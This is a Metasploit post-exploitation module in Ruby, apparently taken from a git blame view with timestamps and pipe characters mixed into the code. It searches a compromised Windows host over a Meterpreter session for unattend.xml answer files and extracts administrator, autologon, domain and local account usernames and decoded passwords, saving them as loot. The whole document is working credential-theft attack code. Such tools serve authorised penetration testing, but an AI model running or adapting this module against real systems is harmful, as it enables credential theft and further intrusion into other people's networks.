2012-07-01 09:08:18 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/post/file'
|
2012-12-13 10:58:05 +00:00
|
|
|
require 'rex/parser/unattend'
|
2012-07-01 09:08:18 +00:00
|
|
|
require 'rexml/document'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Gather Unattended Answer File Enumeration',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will check the file system for a copy of unattend.xml and/or
|
|
|
|
autounattend.xml found in Windows Vista, or newer Windows systems. And then
|
|
|
|
extract sensitive information such as usernames and decoded passwords.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Sean Verity <veritysr1980[at]gmail.com>',
|
|
|
|
'sinn3r',
|
|
|
|
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
|
|
|
|
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
|
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Determine if unattend.xml exists or not
|
|
|
|
#
|
|
|
|
def unattend_exists?(xml_path)
|
|
|
|
x = session.fs.file.stat(xml_path) rescue nil
|
|
|
|
return !x.nil?
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Read and parse the XML file
|
|
|
|
#
|
|
|
|
def load_unattend(xml_path)
|
|
|
|
print_status("Reading #{xml_path}")
|
|
|
|
f = session.fs.file.new(xml_path)
|
|
|
|
raw = ""
|
|
|
|
until f.eof?
|
|
|
|
raw << f.read
|
|
|
|
end
|
|
|
|
|
|
|
|
begin
|
|
|
|
xml = REXML::Document.new(raw)
|
|
|
|
rescue REXML::ParseException => e
|
|
|
|
print_error("Invalid XML format")
|
|
|
|
vprint_line(e.message)
|
|
|
|
return nil, raw
|
|
|
|
end
|
|
|
|
|
|
|
|
return xml, raw
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Save Rex tables separately
|
|
|
|
#
|
|
|
|
def save_cred_tables(cred_tables)
|
|
|
|
cred_tables.each do |t|
|
|
|
|
vprint_line("\n#{t.to_s}\n")
|
|
|
|
p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header)
|
|
|
|
print_status("#{t.header} saved as: #{p}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Save the raw version of unattend.xml
|
|
|
|
#
|
|
|
|
def save_raw(xmlpath, data)
|
|
|
|
return if data.empty?
|
|
|
|
fname = ::File.basename(xmlpath)
|
|
|
|
p = store_loot('windows.unattended.raw', 'text/plain', session, data)
|
|
|
|
print_status("Raw version of #{fname} saved as: #{p}")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# If we spot a path for the answer file, we should check it out too
|
|
|
|
#
|
|
|
|
def get_registry_unattend_path
|
|
|
|
# HKLM\System\Setup!UnattendFile
|
|
|
|
begin
|
|
|
|
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM')
|
|
|
|
fname = key.query_value('Setup!UnattendFile').data
|
|
|
|
return fname
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
|
|
return ''
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Initialize all 7 possible paths for the answer file
|
|
|
|
#
|
|
|
|
def init_paths
|
|
|
|
drive = session.fs.file.expand_path("%SystemDrive%")
|
|
|
|
|
|
|
|
files =
|
|
|
|
[
|
|
|
|
'unattend.xml',
|
|
|
|
'autounattend.xml'
|
|
|
|
]
|
|
|
|
|
|
|
|
target_paths =
|
|
|
|
[
|
|
|
|
"#{drive}\\",
|
|
|
|
"#{drive}\\Windows\\System32\\sysprep\\",
|
|
|
|
"#{drive}\\Windows\\panther\\",
|
|
|
|
"#{drive}\\Windows\\Panther\Unattend\\",
|
|
|
|
"#{drive}\\Windows\\System32\\"
|
|
|
|
]
|
|
|
|
|
|
|
|
paths = []
|
|
|
|
target_paths.each do |p|
|
|
|
|
files.each do |f|
|
|
|
|
paths << "#{p}#{f}"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# If there is one for registry, we add it to the list too
|
|
|
|
reg_path = get_registry_unattend_path
|
|
|
|
paths << reg_path if not reg_path.empty?
|
|
|
|
|
|
|
|
return paths
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def run
|
|
|
|
init_paths.each do |xml_path|
|
|
|
|
# If unattend.xml doesn't exist, move on to the next one
|
|
|
|
if not unattend_exists?(xml_path)
|
|
|
|
vprint_error("#{xml_path} not found")
|
|
|
|
next
|
|
|
|
end
|
|
|
|
|
|
|
|
xml, raw = load_unattend(xml_path)
|
|
|
|
save_raw(xml_path, raw)
|
|
|
|
|
|
|
|
# XML failed to parse, will not go on from here
|
|
|
|
return if not xml
|
|
|
|
|
|
|
|
results = Rex::Parser::Unattend.parse(xml)
|
|
|
|
tables = create_display_tables(results)
|
|
|
|
|
|
|
|
# Save the data
|
|
|
|
save_cred_tables(tables.flatten) if not tables.empty?
|
|
|
|
|
|
|
|
return if not datastore['GETALL']
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def create_display_tables(results)
|
|
|
|
tables = []
|
|
|
|
wds_table = Rex::Ui::Text::Table.new({
|
|
|
|
'Header' => 'WindowsDeploymentServices',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' => ['Domain', 'Username', 'Password']
|
|
|
|
})
|
|
|
|
|
|
|
|
autologin_table = Rex::Ui::Text::Table.new({
|
|
|
|
'Header' => 'AutoLogon',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' => ['Domain', 'Username', 'Password']
|
|
|
|
})
|
|
|
|
|
|
|
|
admin_table = Rex::Ui::Text::Table.new({
|
|
|
|
'Header' => 'AdministratorPasswords',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' => ['Username', 'Password']
|
|
|
|
})
|
|
|
|
|
|
|
|
domain_table = Rex::Ui::Text::Table.new({
|
|
|
|
'Header' => 'DomainAccounts',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' => ['Username', 'Group']
|
|
|
|
})
|
|
|
|
|
|
|
|
local_table = Rex::Ui::Text::Table.new({
|
|
|
|
'Header' => 'LocalAccounts',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' => ['Username', 'Password']
|
|
|
|
})
|
|
|
|
results.each do |result|
|
|
|
|
unless result.empty?
|
|
|
|
case result['type']
|
|
|
|
when 'wds'
|
|
|
|
wds_table << [result['domain'], result['username'], result['password']]
|
|
|
|
when 'auto'
|
|
|
|
autologin_table << [result['domain'], result['username'], result['password']]
|
|
|
|
when 'admin'
|
|
|
|
admin_table << [result['username'], result['password']]
|
|
|
|
when 'domain'
|
|
|
|
domain_table << [result['username'], result['group']]
|
|
|
|
when 'local'
|
|
|
|
local_table << [result['username'], result['password']]
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
tables << autologin_table
|
|
|
|
tables << admin_table
|
|
|
|
tables << domain_table
|
|
|
|
tables << local_table
|
|
|
|
|
|
|
|
return tables
|
|
|
|
end
|
2012-07-01 09:08:18 +00:00
|
|
|
end
|